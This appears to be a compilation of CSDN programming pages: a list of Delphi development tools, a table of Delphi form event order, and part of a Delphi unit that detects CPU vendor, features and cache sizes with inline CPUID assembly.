Bold is that framework and their product recently gained Software Development’s Productivity Award, and it is being used in the Swedish (it's a Swedish Product) and French parliaments, US government departments, also the Swiss tax authorities among many others.
http://www.boldsoft.com

2. ModelMaker
ModelMaker 6.1 represents a new way to develop classes and component packages for Delphi (1-6). ModelMaker is a two-way class tree oriented productivity, refactoring and UML-style CASE tool specifically designed for generating native ObjectPascal code (in fact it was made using Delphi and ModelMaker).
Delphi's ObjectPascal language is fully supported by ModelMaker. From the start ModelMaker was designed to be a smart and highly productive tool.
It has been used to create classes for both real-time / technical and database type applications. ModelMaker has full reverse engineering capabilities.
It supports drawing a set of UML diagrams and from that perspective it looks much like a traditional CASE tool. The key to ModelMaker's magic, speed and power however is the active modeling engine which stores and maintains all relationships between classes and their members.
A unique feature, currently not found in any development environment for Delphi, is the support for design patterns. A number of patterns are mplemented as 'ready to use' active agents. It's the 100% UML-Tool which works with so tightless with Delphi.
http://www.delphicase.com

3. AQTest
AQtest, the complete application testing system from AutomatedQA, means automated support for functional, unit, and regression testing in one easy to use and totally flexible package. AQtest brings testing out of the Dark Ages (that's what they say;).
AQTest is the only true test automation and management tool for Delphi applications (That's true). It is written in Delphi and boasts several industry firsts, especially a uniquely flexible, user-oriented approach.
With AQtest, you test your own way, with scripts or Delphi code written your own way, and test reports organized to your own needs.
AQtest gives external test scripts access to all onscreen VCL elements, with their properties and even their methods. Optionally, it gives access to all published elements of the Delphi application under test, and optionally again it gives scripts practically the same access to application internals as the Delphi IDE has.
Start using AQtest, and you'll be able to make every test run into a contribution to development. AQtest can keep a project on schedule and on spec, the team confident and the work 100% productive.
For example DelphiScript support is built into AQTest.
It's a highly recommended tool that comes out of the box with 19 profilers (We use it). The two that we are interested in most, is "listing unused units", and "identifying who calls what method" are included. (The method call profiler display its info through a diagram.
so a fantastic cool tool.;)
http://www.automatedqa.com

4. MetaBASE
MetaBASE makes it possible for the Delphi development platform to access the relational data model in a 100% object-oriented manner. MetaBASE supports the program development process on all common SQL servers, such as Oracle, Sybase, Watcom and InterBase.
The metalayer enables an easy port of applications between different 'flavors' of RDBMS. The client developer always has full details of the underlying data structure. High speed application development is ensured, even when the data model reaches an acute level of complexity.
MetaBASE provides Visual Components (VCLs) that are data model aware. The data model itself is stored as an object stream and can be accessed throughout the application's development and runtime phase. MetaBASE allows the programmer to ?Drag and Editor Drop" entities, relations, attributes and their extensions as indices into the Delphi environment.
This is accomplished with almost zero manual code writing. Application development has reached a new dimension and the programmer can
concentrate on the 'real' programming task.
http://www.gssoft.ch

5. PasScript
PasScript is an interpreter of a vast subset of the OP (ObjectPascal) language which supports all OP data types except interfaces.
This subset was extended by the Poly data type that allows you to operate with dynamic data structures (lists, trees, and more) without using pointers and apply Pascal language in the Artificial Intelligence data domain with the same success.
But what are differences between PasScript and another Pascal scripting engines?
PasScript supports more wide subset of the OP language. You can use such concepts as units, default parameters, overloaded routines, open arrays, records, sets, pointers, classes, objects, class references, events, exceptions, and more in a script. PasScript syntax is 100% compatible
with OP.
All calling conventions register, pascal, stdcall, cdecl, safecall are supported Script-defined handlers for Windows messages Script-defined callback functions.
For example, you can define WindowProc function directly in a script More flexible importing Delphi classes. You can use instances of any Delphi class in a script create new instances of a Delphi class in a script and destroy them create new PasScript class in a script which inherits a Delphi class. More wide possibilities regarding the event handlers. You can create script-defined event handler for Delphi defined event and vice versa. You can pause, resume and terminate scripts and PasScript allows you to control an OLE Automation server.

The TPasScript component allows you to embed the interpreter into your Delphi, Kylix or C++ Builder application, so you can extend and customize the application without having to recompile it.
http://users.ints.net/virtlabor/passcript/

To be continued...


CSDN_文档中心_Form产生时的事件次序；

Form产生时的事件次序；

Action             Event
Create             OnCreate
Show               OnShow
  Paint            OnPaint
Activate           OnActivate
  ReSize           OnResize
  Paint            OnPaint
Close query        OnCloseQuery
Close              OnClose
Deactivate         OnDeactivate
Hide               OnHide
Destroy            OnDestr


CSDN_文档中心_get CPU id (很全的)

//This unit can be used to detect the cpu model.
unit CpuId;
interface
uses Windows, Mmsystem, Sysutils, Math, Dialogs;
type
    TCpuRec=record
       Name:string[128];
       Vendor:string[12];
       Frequency:word;
       Family:integer;
       Model:integer;
       Stepping:integer;
       L1DCache:word;
       L1ICache:word;
       L2Cache:word;
     end;
    TCpuType = (cpu8086, cpu286, cpu386, cpu486, cpuPentium);
    TCpuData=object
      function GetCPUIDSupport:Boolean;
      function GetVendorString:string;
      function GetCPUFrequency:word;
      procedure GetFMS(var Family,Model,Stepping:byte);
      function GetMaxCpuId:dword;
      function CheckFPU:Boolean;
      function CheckTSC:Boolean;
      function CheckMSR:Boolean;
      function CheckMPS:Boolean;
      function GetNoCpus:cardinal;
      function CheckPN:Boolean;
      function CheckCMPXCHG8B:Boolean;
      function CheckCMOVe:Boolean;
      function CheckSelfSnoop:Boolean;
      function CheckDebugTraceStore:Boolean;
      function CheckFXSAVEFXRSTOR:Boolean;
      function CheckMMX:Boolean;
      function CheckMMXplus:Boolean;
      function CheckSSE:Boolean;
      function CheckSSE2:Boolean;
      function CheckAMD3DNow:Boolean;
      function CheckAMD3DNowPlus:Boolean;
      function GetMaxExtendedFunctions:dword;
      procedure GetExtendedFMS(var Family,Model,Stepping:byte);
      function GetExtendedCpuName:string;
      function GetExtendedL1DCache:word;
      function GetExtendedL1ICache:word;
      function GetExtendedL2Cache:word;

      function CheckCeleron:Boolean;
      function CheckPentiumIII:Boolean;
      function CheckXeon:Boolean;
      function CheckPentium4:Boolean;
      function CheckIthanium:Boolean;
      function IntelP5N:string;
      function IntelP6N:string;
      function AMDK5N:string;
      function Cyrix686N:string;
      function GenericCpuN:string;
      function P5CacheL1DI:word;
      function P6CacheL1DI:word;
      function P6CacheL2:word;

      function AuthenticAMD:TCpuRec;

      function GenuineIntel:TCpuRec;
      function CyrixInstead:TCpuRec;
      function GenericCPU:TCpuRec;
     end;
const
Intel486:array[0..8] of string=
('Intel 486 DX',
  'Intel 486 DX',
  'Intel 486 SX',
  'Intel 486 DX2',
  'Intel 486 SL',
  'Intel 486 SX2',
  'Intel 486 DX2',
  'Intel 486 DX4',
  'Intel 486 DX4');
UMC486:array[0..1] of string=
('UMC U5D',
  'UMC U5S');
AMD486:array[0..5] of string=
('AMD 486 DX2',
  'AMD 486 DX2',
  'AMD 486 DX4',
  'AMD 486 DX4',
  'AMD 5x86',
  'AMD 5x86');
IntelP5:array[0..6] of string=
('Intel Pentium P5 A-Step',
  'Intel Pentium P5',
  'Intel Pentium P54C',
  'Intel Pentium P24T Overdrive',
  'Intel Pentium MMX P55C',
  'Intel Pentium P54C',
  'Intel Pentium MMX P55C');
  NexGenNx586='NexGen Nx586';
  Cyrix4x86='VIA Cyrix 4x86';
  Cyrix5x86='VIA Cyrix 5x86';
  CyrixMediaGX='VIA Cyrix Media GX';
  CyrixM1='VIA Cyrix 6x86';
  CyrixM2='VIA Cyrix 6x86MX';
  CyrixIII='VIA Cyrix III';
  AMDK5:array[0..3] of string=
  ('AMD SSA5 (PR75/PR90/PR100)',
   'AMD 5k86 (PR120/PR133)',
   'AMD 5k86 (PR166)',
   'AMD 5k86 (PR200)');
  AMDK6:array[0..4] of string=
  ('AMD K6 (166~233)',
   'AMD K6 (266~300)',
   'AMD K6-2',
   'AMD K6-III',
   'AMD K6-2+ or K6-III+');
   Centaur:array[0..2] of string=
   ('Centaur C6',
    'Centaur C2',
    'Centaur C3');
   Rise:array[0..1] of string=
   ('Rise mP6',
    'Rise mP6');
   IntelP6:array[0..7] of string=
   ('Intel Pentium Pro A-Step',
    'Intel Pentium Pro',
    'Intel Pentium II',
    'Intel Pentium II',
    'Intel Pentium II',
    'Intel Pentium III',
    'Intel Pentium III',
    'Intel Pentium III');
   AMDK7:array[0..3] of string=
    ('AMD Athlon(tm) Processor',
     'AMD Athlon(tm) Processor',
     'AMD Duron(tm) Processor',
     'AMD Thunderbird Processor');
   IntelP4='Intel Pentium 4';
var CpuData:TCpuData;
implementation
function TCpuData.GetCPUIDSupport:Boolean;
var TempDetect:dword;
begin
asm
  pushf
  pushfd
  push eax
  push ebx
  push ecx
  push edx

  pushfd
  pop eax
  mov ebx,eax
  xor eax,$00200000
  push eax
  popfd
  pushfd
  pop eax
  push ebx
  popfd
  xor eax,ebx
  mov TempDetect,eax

  pop edx
  pop ecx
  pop ebx
  pop eax
  popfd
  popf
end;
GetCPUIDSupport:=(TempDetect=$00200000);
end;
function TCpuData.GetVendorString:string;
var s1,s2,s3:array[0..3] of char;
    TempVendor:string;
    i:integer;
begin
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,0
  db $0F,$A2               /// cpuid
  mov s1,ebx
  mov s2,edx
  mov s3,ecx
  pop edx
  pop ecx
  pop ebx
  pop eax
end;
TempVendor:='';
for i:=0 to 3 do
  TempVendor:=TempVendor+s1[i];
for i:=0 to 3 do
  TempVendor:=TempVendor+s2[i];
for i:=0 to 3 do
  TempVendor:=TempVendor+s3[i];
GetVendorString:=TempVendor;
end;
function TCpuData.GetCPUFrequency:word;
const
  timePeriod= 1000;
var
  HighFreq,TestFreq,Count1,Count2:int64;
  TimeStart:integer;
  TimeStop:integer;
  ElapsedTime:dword;
  StartTicks:dword;
  EndTicks:dword;
  TotalTicks:dword;
begin
  StartTicks:=0;
  EndTicks:=0;
  if QueryPerformanceFrequency(HighFreq) then begin

    TestFreq:=HighFreq div 100;

    QueryPerformanceCounter(Count1);
    repeat
      QueryPerformanceCounter(Count2);
    until Count1<>Count2;

    asm
      push ebx
      xor eax,eax
      xor ebx,ebx
      xor ecx,ecx
      xor edx,edx
      db $0F,$A2               /// cpuid
      db $0F,$31               /// rdtsc
      mov StartTicks,eax
      pop ebx
    end;

    repeat
      QueryPerformanceCounter(Count1);
    until Count1-Count2>=TestFreq;

    asm
      push ebx
      xor eax,eax
      xor ebx,ebx
      xor ecx,ecx
      xor edx,edx
      db $0F,$A2               /// cpuid
      db $0F,$31               /// rdtsc
      mov EndTicks,eax
      pop ebx
    end;

    ElapsedTime:=MulDiv(Count1-Count2,1000000,HighFreq);
  end
  else begin
    timeBeginPeriod(1);
    TimeStart:=timeGetTime;

    repeat
      TimeStop:=timeGetTime;
    until TimeStop <> TimeStart;

    asm
      push ebx
      xor eax,eax
      xor ebx,ebx
      xor ecx,ecx
      xor edx,edx
      db $0F,$A2               /// cpuid
      db $0F,$31               /// rdtsc
      mov StartTicks,eax
      pop ebx
    end;

    repeat
      TimeStart:=timeGetTime;
    until TimeStart-TimeStop>=timePeriod;

    asm
      push ebx
      xor eax,eax
      xor ebx,ebx
      xor ecx,ecx
      xor edx,edx
      db $0F,$A2               /// cpuid
      db $0F,$31               /// rdtsc
      mov EndTicks,eax
      pop ebx
    end;
    timeEndPeriod(1);

    ElapsedTime:=(TimeStart-TimeStop)*1000;
  end;
  TotalTicks:=EndTicks-StartTicks;
  result:=TotalTicks div ElapsedTime;
end;
procedure TCpuData.GetFMS(var Family,Model,Stepping:byte);
var TempFlags:dword;
    BinFlags:array[0..31] of byte;
    i,pos:integer;
begin
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2               /// cpuid
  mov TempFlags,eax
  pop edx
  pop ecx
  pop ebx
  pop eax
end;
for i:=0 to 31 do
  begin
   BinFlags[i]:=TempFlags mod 2;
   TempFlags:=TempFlags div 2;
  end;
family:=0;
model:=0;
stepping:=0;
  pos:=0;
  for i:=0 to 3 do
   begin
    stepping:=stepping+(BinFlags[pos]*StrToInt(FloatToStr(Power(2,i))));
    inc(pos);
   end;
  pos:=4;
  for i:=0 to 3 do
   begin
    model:=model+(BinFlags[pos]*StrToInt(FloatToStr(Power(2,i))));
    inc(pos);
   end;
  pos:=8;
  for i:=0 to 3 do
   begin
    family:=family+(BinFlags[pos]*StrToInt(FloatToStr(Power(2,i))));
    inc(pos);
   end;
end;
function TCpuData.GetMaxCpuId:dword;
var TempMax:dword;
begin
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,0
  db $0F,$A2               /// cpuid
  mov TempMax,eax
  pop edx
  pop ecx
  pop ebx
  pop eax
end;
GetMaxCpuId:=TempMax;
end;
function TCpuData.CheckFPU:Boolean;
label NoFpu;
var TempCheck:dword;
begin
TempCheck:=1;
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2               /// cpuid
  test edx,$1
  jz NoFpu
  mov edx,0
  mov TempCheck,edx
NoFpu:
  pop edx
  pop ecx
  pop ebx
  pop eax
  end;
CheckFpu:=(TempCheck=0);
end;
function TCpuData.CheckTSC:Boolean;
label NoTSC;
var TempCheck:dword;
begin
TempCheck:=1;
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2               /// cpuid
  test edx,$10
  jz NoTSC
  mov edx,0
  mov TempCheck,edx
NoTSC:
  pop edx
  pop ecx
  pop ebx
  pop eax
  end;
CheckTSC:=(TempCheck=0);
end;
function TCpuData.CheckMSR:Boolean;
label NoMSR;
var TempCheck:dword;
begin
TempCheck:=1;
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2               /// cpuid
  test edx,$20
  jz NoMSR
  mov edx,0
  mov TempCheck,edx
NoMSR:
  pop edx
  pop ecx
  pop ebx
  pop eax
  end;
CheckMSR:=(TempCheck=0);
end;
function TCpuData.CheckMPS:Boolean;
var SysInfo:TSystemInfo;
begin
GetSysTemInfo(SysInfo);
CheckMPS:=(SysInfo.dwNumberOfProcessors>1);
end;
function TCpuData.GetNoCpus:cardinal;
var SysInfo:TSystemInfo;
begin
GetSystemInfo(SysInfo);
GetNoCpus:=SysInfo.dwNumberOfProcessors;
end;
function TCpuData.CheckPN:Boolean;
label NoPN;
var TempCheck:dword;
begin
TempCheck:=1;
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2               /// cpuid
  test edx,$40000
  jz NoPN
  mov edx,0
  mov TempCheck,edx
NoPN:
  pop edx
  pop ecx
  pop ebx
  pop eax
  end;
CheckPN:=(TempCheck=0);
end;
function TCpuData.CheckCMPXCHG8B:Boolean;
label NoCMPXCHG8B;
var TempCheck:dword;
begin
TempCheck:=1;
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2               /// cpuid
  test edx,$100
  jz NoCMPXCHG8B
  mov edx,0
  mov TempCheck,edx
NoCMPXCHG8B:
  pop edx
  pop ecx
  pop ebx
  pop eax
  end;
CheckCMPXCHG8B:=(TempCheck=0);
end;
function TCpuData.CheckCMOVe:Boolean;
label NoCMOVe;
var TempCheck:dword;
begin
TempCheck:=1;
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2               /// cpuid
  test edx,$8000
  jz NoCMOVe
  mov edx,0
  mov TempCheck,edx
NoCMOVe:
  pop edx
  pop ecx
  pop ebx
  pop eax
  end;
CheckCMOVe:=(TempCheck=0);
end;
function TCpuData.CheckSelfSnoop:Boolean;
label NoSelfSnoop;
var TempCheck:dword;
begin
TempCheck:=1;
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2               /// cpuid
  test edx,$8000000
  jz NoSelfSnoop
  mov edx,0
  mov TempCheck,edx
NoSelfSnoop:
  pop edx
  pop ecx
  pop ebx
  pop eax
  end;
CheckSelfSnoop:=(TempCheck=0);
end;
function TCpuData.CheckDebugTraceStore:Boolean;
label NoDebugTraceStore;
var TempCheck:dword;
begin
TempCheck:=1;
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2               /// cpuid
  test edx,$200000
  jz NoDebugTraceStore
  mov edx,0
  mov TempCheck,edx
NoDebugTraceStore:
  pop edx
  pop ecx
  pop ebx
  pop eax
  end;
CheckDebugTraceStore:=(TempCheck=0);
end;
function TCpuData.CheckFXSAVEFXRSTOR:Boolean;
label NoFXSAVEFXRSTOR;
var TempCheck:dword;
begin
TempCheck:=1;
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2               /// cpuid
  test edx,$1000000
  jz NoFXSAVEFXRSTOR
  mov edx,0
  mov TempCheck,edx
NoFXSAVEFXRSTOR:
  pop edx
  pop ecx
  pop ebx
  pop eax
  end;
CheckFXSAVEFXRSTOR:=(TempCheck=0);
end;
function TCpuData.CheckMMX:Boolean;
label NoMMX;
var TempCheck:dword;
begin
TempCheck:=1;
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2               /// cpuid
  test edx,$800000
  jz NoMMX
  mov edx,0
  mov TempCheck,edx
NoMMX:
  pop edx
  pop ecx
  pop ebx
  pop eax
  end;
CheckMMX:=(TempCheck=0);
end;
function TCpuData.CheckMMXplus:Boolean;
label NoMMXplus;
var TempCheck:dword;
begin
TempCheck:=1;
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,$80000001
  mov ebx,0
  mov ecx,0
  mov edx,0
  db $0F,$A2               /// cpuid
  test edx,$400000
  jz NoMMXplus
  mov edx,0
  mov TempCheck,edx
NoMMXplus:
  pop edx
  pop ecx
  pop ebx
  pop eax
  end;
CheckMMXplus:=(TempCheck=0);
end;
function TCpuData.CheckSSE:Boolean;
label NoSSE;
var TempCheck:dword;
begin
TempCheck:=1;
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2               /// cpuid
  test edx,$2000000
  jz NoSSE
  mov edx,0
  mov TempCheck,edx
NoSSE:
  pop edx
  pop ecx
  pop ebx
  pop eax
  end;
CheckSSE:=(TempCheck=0);
end;
function TCpuData.CheckSSE2:Boolean;
label NoSSE2;
var TempCheck:dword;
begin
TempCheck:=1;
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2               /// cpuid
  test edx,$4000000
  jz NoSSE2
  mov edx,0
  mov TempCheck,edx
NoSSE2:
  pop edx
  pop ecx
  pop ebx
  pop eax
  end;
CheckSSE2:=(TempCheck=0);
end;
function TCpuData.CheckAMD3DNow:Boolean;
label NoAMD3DNow;
var TempCheck:dword;
begin
TempCheck:=1;
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,$80000001
  mov ebx,0
  mov ecx,0
  mov edx,0
  db $0F,$A2               /// cpuid
  test edx,$80000000
  jz NoAMD3DNow
  mov edx,0
  mov TempCheck,edx
NoAMD3DNow:
  pop edx
  pop ecx
  pop ebx
  pop eax
  end;
CheckAMD3DNow:=(TempCheck=0);
end;
function TCpuData.CheckAMD3DNowPlus:Boolean;
label NoAMD3DNowPlus;
var TempCheck:dword;
begin
TempCheck:=1;
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,$80000001
  mov ebx,0
  mov ecx,0
  mov edx,0
  db $0F,$A2               /// cpuid
  test edx,$40000000
  jz NoAMD3DNowPlus
  mov edx,0
  mov TempCheck,edx
NoAMD3DNowPlus:
  pop edx
  pop ecx
  pop ebx
  pop eax
  end;
CheckAMD3DNowPlus:=(TempCheck=0);
end;
function TCpuData.GetMaxExtendedFunctions:dword;
var TempExt:dword;
begin
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,$80000000
  mov ebx,0
  mov ecx,0
  mov edx,0
  db $0F,$A2               /// cpuid
  shl eax,1
  shr eax,1
  mov TempExt,eax
  pop edx
  pop ecx
  pop ebx
  pop eax
end;
GetMaxExtendedFunctions:=TempExt;
end;

procedure TCpuData.GetExtendedFMS(var family,model,stepping:byte);
var TempFlags:dword;
    BinFlags:array[0..31] of byte;
    i,pos:integer;
begin
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,$80000001
  mov ebx,0
  mov ecx,0
  mov edx,0
  db $0F,$A2               /// cpuid
  mov TempFlags,eax
  pop edx
  pop ecx
  pop ebx
  pop eax
end;
for i:=0 to 31 do
  begin
   BinFlags[i]:=TempFlags mod 2;
   TempFlags:=TempFlags div 2;
  end;
family:=0;
model:=0;
stepping:=0;
  pos:=0;
  for i:=0 to 3 do
   begin
    stepping:=stepping+(BinFlags[pos]*StrToInt(FloatToStr(Power(2,i))));
    inc(pos);
   end;
  pos:=4;
  for i:=0 to 3 do
   begin
    model:=model+(BinFlags[pos]*StrToInt(FloatToStr(Power(2,i))));
    inc(pos);
   end;
  pos:=8;
  for i:=0 to 3 do
   begin
    family:=family+(BinFlags[pos]*StrToInt(FloatToStr(Power(2,i))));
    inc(pos);
   end;
end;

function TCpuData.GetExtendedCpuName:string;
var s1,s2,s3,s4,s5,s6,s7,s8,s9,s10,s11,s12:array[0..3] of char;
    TempCpuName:string;
    i:integer;
begin
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,$80000002
  mov ebx,0
  mov ecx,0
  mov edx,0
  db $0F,$A2               /// cpuid
  mov s1,eax
  mov s2,ebx
  mov s3,ecx
  mov s4,edx
  mov eax,$80000003
  mov ebx,0
  mov ecx,0
  mov edx,0
  db $0F,$A2               /// cpuid
  mov s5,eax
  mov s6,ebx
  mov s7,ecx
  mov s8,edx
  mov eax,$80000004
  mov ebx,0
  mov ecx,0
  mov edx,0
  db $0F,$A2               /// cpuid
  mov s9,eax
  mov s10,ebx
  mov s11,ecx
  mov s12,edx
  pop edx
  pop ecx
  pop ebx
  pop eax
end;
  TempCpuName:='';
  for i:=0 to 3 do
   TempCpuName:=TempCpuName+s1[i];
  for i:=0 to 3 do
   TempCpuName:=TempCpuName+s2[i];
  for i:=0 to 3 do
   TempCpuName:=TempCpuName+s3[i];
  for i:=0 to 3 do
   TempCpuName:=TempCpuName+s4[i];
  for i:=0 to 3 do
   TempCpuName:=TempCpuName+s5[i];
  for i:=0 to 3 do
   TempCpuName:=TempCpuName+s6[i];
  for i:=0 to 3 do
   TempCpuName:=TempCpuName+s7[i];
  for i:=0 to 3 do
   TempCpuName:=TempCpuName+s8[i];
  for i:=0 to 3 do
   TempCpuName:=TempCpuName+s9[i];
  for i:=0 to 3 do
   TempCpuName:=TempCpuName+s10[i];
  for i:=0 to 3 do
   TempCpuName:=TempCpuName+s11[i];
  for i:=0 to 3 do
   TempCpuName:=TempCpuName+s12[i];
  GetExtendedCpuName:=TempCpuName;
end;
function TCpuData.GetExtendedL1DCache:word;
var L1D,TempL1D:dword;
    BinArray:array[0..31] of byte;
    i,p:integer;
begin
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,$80000005
  mov ebx,0
  mov ecx,0
  mov edx,0
  db $0F,$A2               /// cpuid
  mov L1D,ecx
  pop edx
  pop ecx
  pop ebx
  pop eax
end;
for i:=0 to 31 do
  begin
   BinArray[i]:=L1D mod 2;
   L1D:=L1D div 2;
  end;
TempL1D:=0;
p:=0;
for i:=24 to 31 do
  begin
   TempL1D:=TempL1D+(BinArray[i]*StrToInt(FloatToStr(Power(2,p))));
   inc(p);
  end;
GetExtendedL1DCache:=TempL1D;
end;
function TCpuData.GetExtendedL1ICache:word;
var L1I,TempL1I:dword;
    BinArray:array[0..31] of byte;
    i,p:integer;
begin
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,$80000005
  mov ebx,0
  mov ecx,0
  mov edx,0
  db $0F,$A2               /// cpuid
  mov L1I,edx
  pop edx
  pop ecx
  pop ebx
  pop eax
end;
for i:=0 to 31 do
  begin
   BinArray[i]:=L1I mod 2;
   L1I:=L1I div 2;
  end;
TempL1I:=0;
p:=0;
for i:=24 to 31 do
  begin
   TempL1I:=TempL1I+(BinArray[i]*StrToInt(FloatToStr(Power(2,p))));
   inc(p);
  end;
GetExtendedL1ICache:=TempL1I;
end;
function TCpuData.GetExtendedL2Cache:word;
var L2,TempL2:dword;
    BinArray:array[0..31] of byte;
    i,p:integer;
begin
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,$80000006
  mov ebx,0
  mov ecx,0
  mov edx,0
  db $0F,$A2               /// cpuid
  mov L2,ecx
  pop edx
  pop ecx
  pop ebx
  pop eax
end;
for i:=0 to 31 do
  begin
   BinArray[i]:=L2 mod 2;
   L2:=L2 div 2;
  end;
TempL2:=0;
p:=0;
for i:=16 to 31 do
  begin
   TempL2:=TempL2+(BinArray[i]*StrToInt(FloatToStr(Power(2,p))));
   inc(p);
  end;
GetExtendedL2Cache:=TempL2;
end;
function TCpuData.CheckCeleron:Boolean;
var BId:byte;
begin
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2               /// cpuid
  mov BId,bl
  pop edx
  pop ecx
  pop ebx

  pop eax
end;
CheckCeleron:=(BId=$1);
end;
function TCpuData.CheckPentiumIII:Boolean;
var BId:byte;
begin
if CheckMMX and CheckSSE then CheckPentiumIII:=True
else CheckPentiumIII:=False;
end;
function TCpuData.CheckXeon:Boolean;
var BId:byte;
begin
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2               /// cpuid
  mov BId,bl
  pop edx
  pop ecx
  pop ebx
  pop eax
end;
CheckXeon:=(BId=$3);
end;
function TCpuData.CheckPentium4:Boolean;
var BId:byte;
begin
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2               /// cpuid
  mov BId,bl
  pop edx
  pop ecx
  pop ebx
  pop eax
end;
CheckPentium4:=(BId=$8);
end;
function TCpuData.CheckIthanium:Boolean;
var res:dword;
    BinArray:array[0..31] of byte;
    i:byte;
begin
asm
  push eax
  push ebx
  push ecx
  push edx
  mov eax,1
  db $0F,$A2               /// cpuid
  mov res,edx
  pop edx
  pop ecx
  pop ebx
  pop eax
end;
for i:=0 to 31 do
  begin
   BinArray[i]:=res mod 2;
   res:=res div 2;
  end;
CheckIthanium:=(CheckPentium4 and (BinArray[30]=1));
end;
function TCpuData.IntelP5N:string;
begin
If CheckMMX then IntelP5N:='Intel Pentium(r) MMX(tm)'
else IntelP5N:='Intel Pentium(r)';
end;
function TCpuData.IntelP6N:string;
begin
if CheckCeleron then IntelP6N:='Intel Celeron(r)'
else
if CheckPentiumIII then IntelP6N:='Intel Pentium(r) III'
else
if CheckXeon then IntelP6N:='Intel Pentium(r) III Xeon(tm)'
else
if not CheckMMX then IntelP6N:='Intel Pentium(r) PRO'
else IntelP6N:='Intel Pentium(r) II';
end;
function TCpuData.AMDK5N:string;
var Family,Model,Stepping:byte;
begin
GetFMS(Family,Model,Stepping);
if Model=0 then AMDK5N:='AMD K5'
else AMDK5N:=GetExtendedCpuName;
end;
function TCpuData.Cyrix686N:string;
begin
if CpuData.GetMaxExtendedFunctions>0 then Cyrix686N:=GetExtendedCpuName
else
if CheckMMX then Cyrix686N:='VIA Cyrix 6x86MII'
else
Cyrix686N:='VIA Cyrix 6x86';
end;
function TCpuData.GenericCpuN:string;
var SysInfo:TSystemInfo;
begin
GetSystemInfo(SysInfo);
if SysInfo.dwProcessorType=386
    then GenericCpuN:='Generic 386 CPU'
else
if SysInfo.dwProcessorType=486
    then GenericCpuN:='Generic 486 CPU'
else
if SysInfo.dwProcessorType=586
    then GenericCpuN:='Pentium Class CPU'
else GenericCpuN:='Unknown CPU';
end;
function TCpuData.P5CacheL1DI:word;
begin
if CheckMMX then P5CacheL1DI:=16
else P5CacheL1DI:=8;
end;
function TCpuData.P6CacheL1DI:word;
begin
if not CheckMMX then P6CacheL1DI:=8
else P6CacheL1DI:=16;
end;
function TCpuData.P6CacheL2:word;
var Family,Model,Stepping:byte;
begin
if CheckCeleron then P6CacheL2:=128
else
if CheckPentiumIII then begin
                          GetFMS(Family,Model,Stepping);
                          if Model=7 then P6CacheL2:=512
                          else if Model=8 then P6cacheL2:=256
                          else P6CacheL2:=512;
                         end
else if not CheckMMX then P6CacheL2:=512
else P6CacheL2:=512;
end;
function TCpuData.AuthenticAMD:TCpuRec;
var Family,Model,Stepping:byte;
    EFamily,EModel,EStepping:byte;
begin
GetFMS(Family,Model,Stepping);
If Family=4 then begin
                   AuthenticAMD.Name:='AMD 486';
                   AuthenticAMD.Vendor:=GetVendorString;
                   AuthenticAMD.Frequency:=0;
                   AuthenticAMD.Family:=Family;
                   AuthenticAMD.Model:=Model;
                   AuthenticAMD.Stepping:=Stepping;
                   AuthenticAMD.L1DCache:=8;
                   AuthenticAMD.L1ICache:=8;
                   AuthenticAMD.L2Cache:=0;
                  end
else
if Family=5 then begin
                   if GetMaxExtendedFunctions>4 then
                      begin
                       AuthenticAMD.Name:=GetExtendedCpuName;
                       AuthenticAMD.Vendor:=GetVendorString;
                       AuthenticAMD.Frequency:=GetCPUFrequency;
                       GetExtendedFMS(EFamily,EModel,EStepping);
                       AuthenticAMD.Family:=EFamily;
                       AuthenticAMD.Model:=EModel;
                       AuthenticAMD.Stepping:=EStepping;
                       AuthenticAMD.L1DCache:=GetExtendedL1DCache;
                       AuthenticAMD.L1ICache:=GetExtendedL1ICache;
                       AuthenticAMD.L2Cache:=0;
                      end
                   else
                   begin
                    AuthenticAMD.Name:=AMDK5N;
                    AuthenticAMD.Vendor:=GetVendorString;
                    AuthenticAMD.Frequency:=GetCPUFrequency;
                    AuthenticAMD.Family:=Family;
                    AuthenticAMD.Model:=Model;
                    AuthenticAMD.Stepping:=Stepping;
                    AuthenticAMD.L1DCache:=16;
                    AuthenticAMD.L1ICache:=16;
                    AuthenticAMD.L2Cache:=0;
                   end;
                  end
else if family>5 then
                 begin
                  AuthenticAMD.Name:=GetExtendedCpuName;
                  AuthenticAMD.Name:=GetExtendedCpuName;
                  AuthenticAMD.Vendor:=GetVendorString;
                  AuthenticAMD.Frequency:=GetCPUFrequency;
                  GetExtendedFMS(EFamily,EModel,EStepping);
                  AuthenticAMD.Family:=EFamily;
                  AuthenticAMD.Model:=EModel;
                  AuthenticAMD.Stepping:=EStepping;
                  AuthenticAMD.L1DCache:=GetExtendedL1DCache;
                  AuthenticAMD.L1ICache:=GetExtendedL1ICache;
                  AuthenticAMD.L2Cache:=GetExtendedL2Cache;
                 end;

end;
